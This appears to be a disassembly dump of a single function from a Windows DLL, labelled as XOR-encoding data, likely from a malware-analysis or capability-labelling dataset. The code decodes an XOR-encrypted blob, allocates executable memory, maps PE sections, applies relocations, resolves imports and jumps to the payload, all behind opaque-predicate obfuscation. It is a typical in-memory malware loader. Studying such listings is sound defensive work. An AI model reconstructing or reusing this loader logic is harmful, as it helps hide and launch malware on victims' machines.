Function at 0x1800010a0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov edx, dword [0x180020a6c]
mov eax, dword [0x180020a70]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x1800011c7
test ecx, ecx
je 0x1800011c7
mov eax, 0x10
call entry0
sub rsp, rax
mov rax, rsp
cmp dword [0x180020a74], 0xa
jl 0x180001112
mov ecx, dword [0x180020a78]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001112
nop word cs:[rax + rax]
nop
jmp 0x180001110
mov ecx, 4
lea r8, section..data
sub rcx, 1
jb 0x1800011b2
mov bl, byte [r8]
mov byte [rax], bl
nop dword [rax]
mov edx, dword [0x180020a78]
mov edi, dword [0x180020a74]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
cmp edi, 0xa
jl 0x180001180
test esi, esi
je 0x180001180
cmp edi, 0xa
jl 0x180001160
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
jne 0x1800011b0
nop
mov byte [rax], bl
mov edx, dword [0x180020a78]
cmp dword [0x180020a74], 0xa
mov byte [rax], bl
jl 0x180001130
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
jne 0x180001160
jmp 0x180001130
add rax, 1
add r8, 1
cmp edi, 0xa
jl 0x18000111e
test esi, esi
je 0x18000111e
nop word cs:[rax + rax]
nop dword [rax + rax]
jmp 0x1800011a0
jmp 0x1800011b0
mov edx, dword [0x180020a6c]
mov eax, dword [0x180020a70]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
mov edx, dword [0x180020a78]
mov ebx, dword [0x180020a74]
cmp eax, 0xa
jl 0x1800012c2
test ecx, ecx
je 0x1800012c2
mov eax, 0x10
call entry0
sub rsp, rax
mov rax, rsp
cmp ebx, 0xa
jl 0x180001204
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
jne 0x180001220
lea rsi, section..data
mov r8d, 3
jmp 0x180001242
jmp 0x180001220
add rax, 1
add rsi, 1
sub r8, 1
jb 0x1800012c2
mov cl, byte [rsi]
mov byte [rax], cl
nop word cs:[rax + rax]
mov edx, dword [0x180020a78]
mov ebx, dword [0x180020a74]
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
cmp ebx, 0xa
jl 0x1800012a0
test edi, edi
je 0x1800012a0
cmp ebx, 0xa
jl 0x180001280
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
jne 0x1800012c0
nop
mov byte [rax], cl
mov edx, dword [0x180020a78]
cmp dword [0x180020a74], 0xa
mov byte [rax], cl
jl 0x180001250
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
jne 0x180001280
jmp 0x180001250
cmp ebx, 0xa
jl 0x180001230
test edi, edi
je 0x180001230
nop dword [rax]
jmp 0x1800012b0
jmp 0x1800012c0
mov eax, 0x10
call entry0
sub rsp, rax
mov r8, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r10, rsp
cmp ebx, 0xa
jl 0x1800012f2
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x180001310
lea rdi, section..data
mov r9d, 3
mov rcx, r8
jmp 0x180001332
jmp 0x180001310
add rcx, 1
add rdi, 1
sub r9, 1
jb 0x1800013b2
mov al, byte [rdi]
mov byte [rcx], al
nop word cs:[rax + rax]
mov edx, dword [0x180020a78]
mov ebx, dword [0x180020a74]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
cmp ebx, 0xa
jl 0x180001390
test esi, esi
je 0x180001390
cmp ebx, 0xa
jl 0x180001370
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
jne 0x1800013b0
nop
mov byte [rcx], al
mov edx, dword [0x180020a78]
cmp dword [0x180020a74], 0xa
mov byte [rcx], al
jl 0x180001340
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
jne 0x180001370
jmp 0x180001340
cmp ebx, 0xa
jl 0x180001320
test esi, esi
je 0x180001320
nop dword [rax]
jmp 0x1800013a0
jmp 0x1800013b0
cmp dword [0x180020a70], 0xa
jl 0x1800013d0
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800011e4
mov r9d, dword [r8]
test r9, r9
je 0x1800014ed
xor edi, edi
cmp r9d, 0x10
jb 0x1800014bf
lea rax, [r9 - 1]
cmp rax, 0x400
jae 0x1800014bf
mov edi, r9d
and edi, 0xfffffff0
lea rcx, [rdi - 0x10]
mov rax, rcx
shr rax, 4
add rax, 1
mov r8d, eax
and r8d, 1
test rcx, rcx
je 0x180001486
mov rcx, r8
sub rcx, rax
xor esi, esi
lea r11, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov eax, esi
and eax, 0x3e0
movups xmm1, xmmword [rax + r11 + 4]
movups xmm2, xmmword [rsi + r11 + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rsi + r11 + 0x414]
xorps xmm2, xmm0
movups xmmword [rsi + r11 + 0x404], xmm2
lea eax, [rsi + 0x10]
and eax, 0x3f0
movups xmm2, xmmword [rax + r11 + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rsi + r11 + 0x414], xmm1
add rsi, 0x20
add rcx, 2
jne 0x18000142f
jmp 0x180001488
xor esi, esi
test r8, r8
je 0x1800014ba
mov eax, esi
and eax, 0x3f0
lea rcx, section..data
movups xmm0, xmmword [rax + rcx + 4]
movups xmm1, xmmword [rsi + rcx + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rsi + rcx + 0x404], xmm1
cmp rdi, r9
je 0x1800014ed
lea rax, section..data
mov ecx, edi
and ecx, 0x3ff
movzx ecx, byte [rcx + rax + 4]
xor cl, byte [rdi + rax + 0x404]
xor cl, 0xc
mov byte [rdi + rax + 0x404], cl
add rdi, 1
cmp rdi, r9
jb 0x1800014c6
lea rax, section..data
lea r12, [r9 + rax]
add r12, 0x404
cmp ebx, 0xa
jl 0x180001513
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x180001670
cmp ebx, 0xa
jl 0x180001527
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x180001682
mov r8d, 3
mov rdx, r10
mov rbx, r12
jmp 0x180001543
add rdx, 1
add rbx, 1
sub r8, 1
jb 0x1800015ae
mov al, byte [rbx]
mov byte [rdx], al
mov esi, dword [0x180020a78]
mov edi, dword [0x180020a74]
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
cmp edi, 0xa
jl 0x1800015a0
test ecx, ecx
je 0x1800015a0
cmp edi, 0xa
jl 0x180001580
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
jne 0x180001680
nop dword [rax]
mov byte [rdx], al
mov ecx, dword [0x180020a78]
cmp dword [0x180020a74], 0xa
mov byte [rdx], al
jl 0x180001547
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
jne 0x180001580
jmp 0x180001547
cmp edi, 0xa
jl 0x180001535
test ecx, ecx
je 0x180001535
jmp 0x180001682
cmp dword [0x180020a70], 0xa
jl 0x180001688
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001688
cmp edi, 0xa
jl 0x1800015e4
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001686
mov r8d, 3
mov rsi, r10
mov rcx, r12
jmp 0x180001604
add rsi, 1
add rcx, 1
sub r8, 1
jb 0x1800014ff
mov al, byte [rcx]
mov byte [rsi], al
mov edx, dword [0x180020a78]
mov ebx, dword [0x180020a74]
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
cmp ebx, 0xa
jl 0x180001656
test edi, edi
je 0x180001656
cmp ebx, 0xa
jl 0x180001636
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
jne 0x180001684
mov byte [rsi], al
mov edx, dword [0x180020a78]
cmp dword [0x180020a74], 0xa
mov byte [rsi], al
jl 0x180001608
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
jne 0x180001636
jmp 0x180001608
cmp ebx, 0xa
jl 0x1800015f2
test edi, edi
je 0x1800015f2
jmp 0x18000165f
jmp 0x180001670
jmp 0x180001680
jmp 0x180001682
jmp 0x180001684
jmp 0x180001686
add r12, 4
mov r10d, dword [r10]
test r10, r10
je 0x1800018f3
xor eax, eax
cmp r10d, 0x20
jb 0x1800017ea
lea rcx, [r10 - 1]
cmp rcx, 0x400
jae 0x1800017ea
lea rax, section..data
lea rcx, [r9 + rax]
add rcx, 0x408
lea rdx, [r10 + rax]
add rdx, 4
cmp rcx, rdx
jae 0x1800016fc
lea rcx, [r10 + r9]
lea rax, section..data
add rcx, rax
add rcx, 0x408
lea rdx, str.obeCkIXRzVUhpCazqbiYfrjYlqpzrmAtAJBsRFnvhlYaCxFMYjRsLdQIMxBweXAIZCgsUoXMyMWAvXUCumjgnYBpVpLgjodHtjqqHsEiGrWsWzWLmujCbZdRaGpzzoHaoyfYheEICGGjnjDqBKqQdKUUkZHvbCAFhgWyvpbdhfJEOJZdidDeemnQfMkjwRidrJQyKWrojDrhtOcUxhXXSoLjHJvFZsshgAPDWWGYQkmTjKuXFaZxsfDmLrnwFBJsGRsncTTZevFIxwyDKzkHhdSXCdlQspwvVHDBOvKUyCKaCwzslphZYFTYoDnVVGJIsqZTtQHXoKpMBLuzcyUtIMKIwwvqiHMORbkgQQSGmrGJbzUxVRcjqDmFXAkECcOAypoIHqRfyLyGqVZwYBjMAlEdFzIKMAFUwWSohPSnYaInvnWMogwrDZgzHUsiZxthHHBMfOvhhDzQTwmzMWwjWjZggcspILAIdUYnetPcOlPtuuKWLdQZHJfoBHOArqidtBpXJOBYbbuCTGUzVDLSwAiEMLIglqoKoJJyLnyCZvkTQneVulUUjKepcEJuErCeRrsUFiImFhDrsYUbkJxhSVFwcuxAYhXwXrZkWVyfmotuPzGwJWiEDqkjrjGkWYJJyMQUsBZuGlCwdKYvGMLlHMEVqltcLLOZfeBtPEfjUKAqlaLXloUUyDQMRithOUzHyGVCiMYGCRJTysELZyuzhLgzezqAdYRmEAKMgnXhawCPjTxhUEcqqnCHkAwhPcFZRILLWWMrfODRsJzqmPegSMvvHuYynstsZsmMbHQAzsMiFbIaqZTGlVQlrbfVXHxYLKdAWURJoEBTkkIlJxIadzBIDmiOvoxJfHBgrLMeWjzcDeykvOStfrlexHtTVhKfewyLEnShqgIlnHQqsuMQOrJaFKeXpmSWAInrILgWJPCsXXJKPdmRgBHFYhBkfKoihMOZiVQQjVOTAduHxRjWpzWTrFgRzhgxCwTgRGxqTvsjUlxKUIzbirLuzAFtMpp
cmp rcx, rdx
jbe 0x1800016fc
xor eax, eax
jmp 0x1800017ea
mov eax, r10d
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rcx, rbx
shr rcx, 5
add rcx, 1
mov r8d, ecx
and r8d, 1
test rbx, rbx
je 0x1800017a5
lea rdx, section..data
lea rdi, [r9 + rdx]
add rdi, 0x438
mov rbx, r8
sub rbx, rcx
xor esi, esi
lea rdx, section..data
mov ecx, esi
and ecx, 0x3c0
movups xmm0, xmmword [rcx + rdx + 4]
movups xmm1, xmmword [rcx + rdx + 0x14]
movups xmm2, xmmword [rdi + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rsi - 0x10]
movups xmm3, xmmword [rdi + rsi]
movups xmmword [rdi + rsi - 0x30], xmm2
movups xmmword [rdi + rsi - 0x20], xmm0
lea ecx, [rsi + 0x20]
and ecx, 0x3e0
movups xmm0, xmmword [rcx + rdx + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rcx + rdx + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rsi - 0x10], xmm0
movups xmmword [rdi + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x180001742
jmp 0x1800017a7
xor esi, esi
test r8, r8
je 0x1800017e1
mov ecx, esi
and ecx, 0x3e0
lea rdx, section..data
movups xmm0, xmmword [rcx + rdx + 4]
movups xmm1, xmmword [rcx + rdx + 0x14]
movups xmm2, xmmword [r12 + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [r12 + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [r12 + rsi], xmm2
movups xmmword [r12 + rsi + 0x10], xmm0
cmp rax, r10
je 0x1800018f3
lea rcx, section..data
add rcx, r9
add rcx, 0x408
lea rbx, section..data
mov edx, eax
and edx, 0x3ff
movzx edx, byte [rdx + rbx + 4]
xor byte [rcx + rax], dl
add rax, 1
cmp rax, r10
jb 0x180001802
jmp 0x1800018f3
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001820
mov r15, r14
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x18000182d
mov rbx, r15
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x18000183a
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001843
mov rsi, rbx
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x18000184f
mov rdi, rsi
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x18000185b
sub rsp, 0x20
mov rcx, r14
call fcn.180002120
mov rcx, rax
mov rdx, r15
call fcn.180001ff0
mov rcx, rsi
call rax
mov rcx, rax
mov rdx, rbx
call fcn.180001ff0
sub rsp, 0x10
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call rax
add rsp, 0x10
mov rcx, r14
call fcn.180002120
mov rcx, rax
mov rdx, r12
call fcn.180001ff0
add rsp, 0x20
lea rcx, section..data
mov edx, dword [r13 + rcx + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call rax
add rsp, 0x20
cmp dword [0x180020a7c], 0xa
jl 0x180001911
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001a51
movsxd rax, dword [0x180004440]
lea rcx, section..data
add rax, rcx
add rax, 0x404
mov qword [rbp], rax
mov r14, r12
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x18000192f
mov r13, r14
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x18000193c
mov r15, r13
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x18000194a
mov rbx, r15
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001957
mov rsi, rbx
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x180001963
mov rdi, rsi
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x18000196f
sub rsp, 0x20
mov rcx, r14
call fcn.180002120
mov rcx, rax
mov rdx, r13
call fcn.180001ff0
mov rcx, rsi
call rax
mov rcx, rax
mov rdx, rbx
call fcn.180001ff0
sub rsp, 0x10
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call rax
add rsp, 0x10
mov rcx, r14
call fcn.180002120
mov rcx, rax
mov rdx, r12
call fcn.180001ff0
add rsp, 0x20
mov rcx, qword [rbp]
mov edx, dword [rcx + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call rax
add rsp, 0x20
mov rbx, rax
mov edx, dword [0x180020a6c]
mov edi, dword [0x180020a70]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp edi, 0xa
jl 0x180001a53
test eax, eax
je 0x180001a53
movsxd r13, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov r14, r12
jl 0x180001820
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov r14, r12
and ecx, 1
je 0x180001820
jmp 0x180001a4f
jmp 0x180001a51
cmp edi, 0xa
jl 0x180001a5e
test eax, eax
je 0x180001a5e
jmp 0x180001a5c
mov rcx, qword [rbp]
lea r9, [rcx + 0x108]
xor r8d, r8d
mov rcx, qword [rbp]
movzx ecx, word [rcx + 6]
cmp r8, rcx
jae 0x180001c54
mov esi, dword [0x180020a78]
mov ecx, dword [0x180020a74]
cmp edi, 0xa
jl 0x180001aa7
test eax, eax
jne 0x180001b8d
jmp 0x180001aa7
add r8, 1
cmp edi, 0xa
jl 0x180001a6c
test eax, eax
je 0x180001a6c
jmp 0x180001a5c
cmp ecx, 0xa
jl 0x180001abb
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001c50
lea rax, [r8 + r8*4]
mov r10d, dword [r9 + rax*8 + 0x10]
test r10, r10
je 0x180001b67
mov edi, dword [r9 + rax*8 + 0xc]
mov eax, dword [r9 + rax*8 + 0x14]
lea rcx, section..data
add rax, rcx
add rax, 0x404
add rdi, rbx
jmp 0x180001afd
add r10, 0xffffffffffffffff
add rdi, 1
add rax, 1
test r10, r10
je 0x180001b67
mov cl, byte [rax]
mov byte [rdi], cl
mov esi, dword [0x180020a78]
mov ecx, dword [0x180020a74]
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
cmp ecx, 0xa
jl 0x180001b59
test edx, edx
je 0x180001b59
cmp ecx, 0xa
jl 0x180001b33
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
jne 0x180001c4a
movzx ecx, byte [rax]
mov byte [rdi], cl
mov ecx, dword [0x180020a78]
cmp dword [0x180020a74], 0xa
movzx edx, byte [rax]
mov byte [rdi], dl
jl 0x180001b01
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001b33
jmp 0x180001b01
cmp ecx, 0xa
jl 0x180001aec
test edx, edx
je 0x180001aec
jmp 0x180001c4e
mov edx, dword [0x180020a6c]
mov edi, dword [0x180020a70]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp edi, 0xa
jl 0x180001a98
test eax, eax
je 0x180001a98
cmp ecx, 0xa
jl 0x180001ba1
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001c52
lea rax, [r8 + r8*4]
mov r10d, dword [r9 + rax*8 + 0x10]
test r10, r10
je 0x180001aa7
mov edi, dword [r9 + rax*8 + 0xc]
mov eax, dword [r9 + rax*8 + 0x14]
lea rcx, section..data
add rax, rcx
add rax, 0x404
add rdi, rbx
jmp 0x180001be7
add r10, 0xffffffffffffffff
add rdi, 1
add rax, 1
test r10, r10
je 0x180001aa7
mov cl, byte [rax]
mov byte [rdi], cl
mov esi, dword [0x180020a78]
mov ecx, dword [0x180020a74]
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
cmp ecx, 0xa
jl 0x180001c3f
test edx, edx
je 0x180001c3f
cmp ecx, 0xa
jl 0x180001c19
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
jne 0x180001c4c
movzx ecx, byte [rax]
mov byte [rdi], cl
mov ecx, dword [0x180020a78]
cmp dword [0x180020a74], 0xa
movzx edx, byte [rax]
mov byte [rdi], dl
jl 0x180001beb
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001c19
jmp 0x180001beb
cmp ecx, 0xa
jl 0x180001bd2
test edx, edx
je 0x180001bd2
jmp 0x180001c48
jmp 0x180001c4a
jmp 0x180001c4c
jmp 0x180001c4e
jmp 0x180001c50
jmp 0x180001c52
mov rax, qword [rbp]
mov rax, qword [rax + 0x30]
mov r11, rbx
sub r11, rax
cmp edi, 0xa
jl 0x180001c74
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x180001c74
jmp 0x180001c72
mov rax, qword [rbp]
mov r12d, dword [rax + 0xb0]
add r12, rbx
movabs r8, 0x1fffffff8
cmp dword [r12], 0
je 0x180001de0
mov esi, dword [r12 + 4]
cmp rsi, 8
jb 0x180001da8
cmp edi, 0xa
jl 0x180001cba
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x180001dd8
add rsi, r8
shr rsi, 1
mov r9d, esi
xor r10d, r10d
cmp r10, r9
je 0x180001da8
movzx esi, word [r12 + r10*2 + 8]
mov eax, esi
shr eax, 0xc
mov ecx, esi
and ecx, 0xfff
cmp esi, 0xa000
jae 0x180001d61
cmp eax, 3
jne 0x180001d7f
cmp edi, 0xa
jl 0x180001d07
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x180001ddc
mov eax, dword [r12]
lea rax, [rbx + rax*4]
add dword [rax + rcx*4], r11d
mov edx, dword [0x180020a6c]
mov edi, dword [0x180020a70]
cmp edi, 0xa
jl 0x180001d7f
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x180001d7f
lea rsi, [rbx + rcx*4]
mov eax, dword [r12]
add dword [rsi + rax*4], r11d
mov eax, dword [r12]
add dword [rsi + rax*4], r11d
mov edx, dword [0x180020a6c]
mov edi, dword [0x180020a70]
cmp edi, 0xa
jl 0x180001d7f
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x180001d33
jmp 0x180001d7f
cmp eax, 0xa
jne 0x180001d7f
mov eax, dword [r12]
mov ecx, ecx
add rcx, rbx
add qword [rax + rcx], r11
mov edx, dword [0x180020a6c]
mov edi, dword [0x180020a70]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
cmp edi, 0xa
jl 0x180001d91
test esi, esi
jne 0x180001dda
add r10, 1
cmp edi, 0xa
jl 0x180001cc6
test esi, esi
je 0x180001cc6
jmp 0x180001dd8
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
cmp edi, 0xa
jl 0x180001dba
test esi, esi
jne 0x180001dde
mov eax, dword [r12 + 4]
add r12, rax
cmp edi, 0xa
jl 0x180001c8c
test esi, esi
je 0x180001c8c
jmp 0x180001c72
jmp 0x180001dd8
jmp 0x180001dda
jmp 0x180001ddc
jmp 0x180001dde
cmp edi, 0xa
jl 0x180001df2
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x180001df2
jmp 0x180001df0
lea rax, [rbx + 2]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp]
mov eax, dword [rax + 0x90]
add rax, rbx
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov r12d, dword [rax + 0xc]
test r12, r12
je 0x180001f73
add r12, rbx
sub rsp, 0x20
mov rcx, r14
call fcn.180002120
mov rcx, rax
mov rdx, r13
call fcn.180001ff0
mov rcx, r12
call rax
add rsp, 0x20
mov rdi, rax
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
cmp ecx, 0xa
jl 0x180001e7c
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001e7c
sub rsp, 0x20
mov rcx, r14
call fcn.180002120
mov rcx, rax
mov rdx, r13
call fcn.180001ff0
mov rcx, r12
call rax
jmp 0x180001e23
cmp ecx, 0xa
jl 0x180001e90
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001f71
mov rdx, qword [rbp - 8]
mov esi, dword [rdx]
mov r12d, dword [rdx + 0x10]
add rsi, rbx
mov qword [rbp - 0x10], rsi
add r12, rbx
mov rdx, qword [rbp - 0x10]
mov rdx, qword [rdx]
test rdx, rdx
je 0x180001f4f
mov rax, qword [rbp - 0x18]
add rax, rdx
test rdx, rdx
movzx esi, dx
cmovns rsi, rax
sub rsp, 0x20
mov rcx, r14
call fcn.180002120
mov rcx, rax
mov rdx, r15
call fcn.180001ff0
mov rcx, rdi
mov rdx, rsi
call rax
add rsp, 0x20
mov qword [r12], rax
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001f33
test edx, edx
je 0x180001f33
sub rsp, 0x20
mov rcx, r14
call fcn.180002120
mov rcx, rax
mov rdx, r15
call fcn.180001ff0
mov rcx, rdi
mov rdx, rsi
call rax
add rsp, 0x20
mov qword [r12], rax
jmp 0x180001ec5
add qword [rbp - 0x10], 8
add r12, 8
cmp ecx, 0xa
jl 0x180001ea4
test edx, edx
je 0x180001ea4
jmp 0x180001f71
add qword [rbp - 8], 0x14
cmp ecx, 0xa
jl 0x180001e0b
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001e0b
jmp 0x180001df0
jmp 0x180001f71
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a70], 0xa
jl 0x180001fdf
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001fdf
mov rsi, qword [rbp]
mov eax, dword [rsi + 0x28]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [rsi + 0x28]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a70], 0xa
jl 0x180001fdf
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fa5
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret